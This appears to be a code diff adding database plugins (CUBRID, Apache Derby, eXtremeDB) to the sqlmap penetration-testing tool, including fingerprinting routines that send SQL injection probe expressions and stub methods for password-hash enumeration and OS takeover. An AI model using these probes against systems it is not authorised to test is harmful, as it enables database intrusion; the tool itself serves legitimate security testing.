"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import CUBRIDdb
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: https://github.com/CUBRID/cubrid-python
|
||||||
|
User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md
|
||||||
|
API: https://www.python.org/dev/peps/pep-0249/
|
||||||
|
License: BSD License
|
||||||
|
"""
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout)
|
||||||
|
except CUBRIDdb.DatabaseError as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.initCursor()
|
||||||
|
self.printConnected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except CUBRIDdb.DatabaseError as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
except CUBRIDdb.DatabaseError as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||||
|
except CUBRIDdb.Error as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.connector.commit()
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
self.execute(query)
|
||||||
|
return self.fetchall()
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on Cubrid it is not possible to enumerate password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on Cubrid it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getRoles(self, *args, **kwargs):
|
||||||
|
warnMsg = "on Cubrid it is not possible to enumerate the user roles"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on Cubrid it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
pass
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import CUBRID_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.CUBRID)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.CUBRID
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES):
|
||||||
|
setDbms(DBMS.CUBRID)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.CUBRID
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.CUBRID
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("DRAND()<2")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.CUBRID)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.convert import getOrds
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> from lib.core.common import Backend
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
def escaper(value):
|
||||||
|
return "||".join("CHR(%d)" % _ for _ in getOrds(value))
|
||||||
|
|
||||||
|
return Syntax._escape(expression, quote, escaper)
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on Cubrid it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on Cubrid it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on Cubrid it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on Cubrid it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -10,13 +10,13 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
|||||||
|
|
||||||
class Enumeration(GenericEnumeration):
|
class Enumeration(GenericEnumeration):
|
||||||
def getPasswordHashes(self):
|
def getPasswordHashes(self):
|
||||||
warnMsg = "on DB2 it is not possible to list password hashes"
|
warnMsg = "on IBM DB2 it is not possible to enumerate password hashes"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
def getStatements(self):
|
def getStatements(self):
|
||||||
warnMsg = "on DB2 it is not possible to enumerate the SQL statements"
|
warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return []
|
return []
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import DERBY_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
|
||||||
|
from plugins.dbms.derby.enumeration import Enumeration
|
||||||
|
from plugins.dbms.derby.filesystem import Filesystem
|
||||||
|
from plugins.dbms.derby.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.derby.syntax import Syntax
|
||||||
|
from plugins.dbms.derby.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines Apache Derby methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = DERBY_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.DERBY] = Syntax.escape
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
try:
|
||||||
|
import drda
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from lib.core.common import getSafeExString
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
"""
|
||||||
|
Homepage: https://github.com/nakagami/pydrda/
|
||||||
|
User guide: https://github.com/nakagami/pydrda/blob/master/README.rst
|
||||||
|
API: https://www.python.org/dev/peps/pep-0249/
|
||||||
|
License: MIT
|
||||||
|
"""
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.initConnection()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port)
|
||||||
|
except drda.OperationalError as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
self.initCursor()
|
||||||
|
self.printConnected()
|
||||||
|
|
||||||
|
def fetchall(self):
|
||||||
|
try:
|
||||||
|
return self.cursor.fetchall()
|
||||||
|
except drda.ProgrammingError as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute(self, query):
|
||||||
|
try:
|
||||||
|
self.cursor.execute(query)
|
||||||
|
except (drda.OperationalError, drda.ProgrammingError) as ex:
|
||||||
|
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
|
||||||
|
except drda.InternalError as ex:
|
||||||
|
raise SqlmapConnectionException(getSafeExString(ex))
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.connector.commit()
|
||||||
|
except drda.OperationalError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def select(self, query):
|
||||||
|
self.execute(query)
|
||||||
|
return self.fetchall()
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on Apache Derby it is not possible to enumerate password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getPrivileges(self, *args, **kwargs):
|
||||||
|
warnMsg = "on Apache Derby it is not possible to enumerate the user privileges"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getRoles(self, *args, **kwargs):
|
||||||
|
warnMsg = "on Apache Derby it is not possible to enumerate the user roles"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on Apache Derby it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getBanner(self):
|
||||||
|
warnMsg = "on Apache Derby it is not possible to enumerate the banner"
|
||||||
|
singleTimeWarnMessage(warnMsg)
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
pass
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import DERBY_ALIASES
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.DERBY)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.DERBY
|
||||||
|
return value
|
||||||
|
|
||||||
|
actVer = Format.getDbms()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
banVer = kb.bannerFp.get("dbmsVersion")
|
||||||
|
|
||||||
|
if banVer:
|
||||||
|
banVer = Format.getDbms([banVer])
|
||||||
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
|
htmlErrorFp = Format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
|
if htmlErrorFp:
|
||||||
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
def checkDbms(self):
|
||||||
|
if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES):
|
||||||
|
setDbms(DBMS.DERBY)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing %s" % DBMS.DERBY
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})")
|
||||||
|
|
||||||
|
if result:
|
||||||
|
infoMsg = "confirming %s" % DBMS.DERBY
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL")
|
||||||
|
|
||||||
|
if not result:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
setDbms(DBMS.DERBY)
|
||||||
|
|
||||||
|
self.getBanner()
|
||||||
|
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from plugins.generic.syntax import Syntax as GenericSyntax
|
||||||
|
|
||||||
|
class Syntax(GenericSyntax):
|
||||||
|
@staticmethod
|
||||||
|
def escape(expression, quote=True):
|
||||||
|
"""
|
||||||
|
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
return expression
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.takeover import Takeover as GenericTakeover
|
||||||
|
|
||||||
|
class Takeover(GenericTakeover):
|
||||||
|
def osCmd(self):
|
||||||
|
errMsg = "on Apache Derby it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
errMsg = "on Apache Derby it is not possible to execute commands"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osPwn(self):
|
||||||
|
errMsg = "on Apache Derby it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def osSmb(self):
|
||||||
|
errMsg = "on Apache Derby it is not possible to establish an "
|
||||||
|
errMsg += "out-of-band connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.settings import EXTREMEDB_SYSTEM_DBS
|
||||||
|
from lib.core.unescaper import unescaper
|
||||||
|
from plugins.dbms.extremedb.enumeration import Enumeration
|
||||||
|
from plugins.dbms.extremedb.filesystem import Filesystem
|
||||||
|
from plugins.dbms.extremedb.fingerprint import Fingerprint
|
||||||
|
from plugins.dbms.extremedb.syntax import Syntax
|
||||||
|
from plugins.dbms.extremedb.takeover import Takeover
|
||||||
|
from plugins.generic.misc import Miscellaneous
|
||||||
|
|
||||||
|
class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
|
"""
|
||||||
|
This class defines eXtremeDB methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.excludeDbsList = EXTREMEDB_SYSTEM_DBS
|
||||||
|
|
||||||
|
for cls in self.__class__.__bases__:
|
||||||
|
cls.__init__(self)
|
||||||
|
|
||||||
|
unescaper[DBMS.EXTREMEDB] = Syntax.escape
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.connector import Connector as GenericConnector
|
||||||
|
|
||||||
|
class Connector(GenericConnector):
|
||||||
|
def connect(self):
|
||||||
|
errMsg = "on eXtremeDB it is not (currently) possible to establish a "
|
||||||
|
errMsg += "direct connection"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import logger
|
||||||
|
from plugins.generic.enumeration import Enumeration as GenericEnumeration
|
||||||
|
|
||||||
|
class Enumeration(GenericEnumeration):
|
||||||
|
def getBanner(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to get the banner"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def getCurrentUser(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the current user"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getCurrentDb(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to get name of the current database"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def isDba(self, user=None):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to test if current user is DBA"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getUsers(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the users"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def getPasswordHashes(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getPrivileges(self, *args, **kwargs):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return {}
|
||||||
|
|
||||||
|
def getDbs(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def searchDb(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to search databases"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def searchTable(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to search tables"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def searchColumn(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to search columns"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
|
|
||||||
|
def search(self):
|
||||||
|
warnMsg = "on eXtremeDB search option is not available"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getHostname(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the hostname"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
def getStatements(self):
|
||||||
|
warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return []
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||||
|
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||||
|
|
||||||
|
class Filesystem(GenericFilesystem):
|
||||||
|
def readFile(self, remoteFile):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to read files"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
|
||||||
|
errMsg = "on eXtremeDB it is not possible to write files"
|
||||||
|
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||||
@@ -0,0 +1,93 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.common import Backend
|
||||||
|
from lib.core.common import Format
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.session import setDbms
|
||||||
|
from lib.core.settings import EXTREMEDB_ALIASES
|
||||||
|
from lib.core.settings import METADB_SUFFIX
|
||||||
|
from lib.request import inject
|
||||||
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
||||||
|
|
||||||
|
class Fingerprint(GenericFingerprint):
|
||||||
|
def __init__(self):
|
||||||
|
GenericFingerprint.__init__(self, DBMS.EXTREMEDB)
|
||||||
|
|
||||||
|
def getFingerprint(self):
|
||||||
|
value = ""
|
||||||
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
|
if wsOsFp:
|
||||||
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
|
if kb.data.banner:
|
||||||
|
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += DBMS.EXTREMEDB
|
||||||
|
return value
|
||||||
|
|
||||||
|
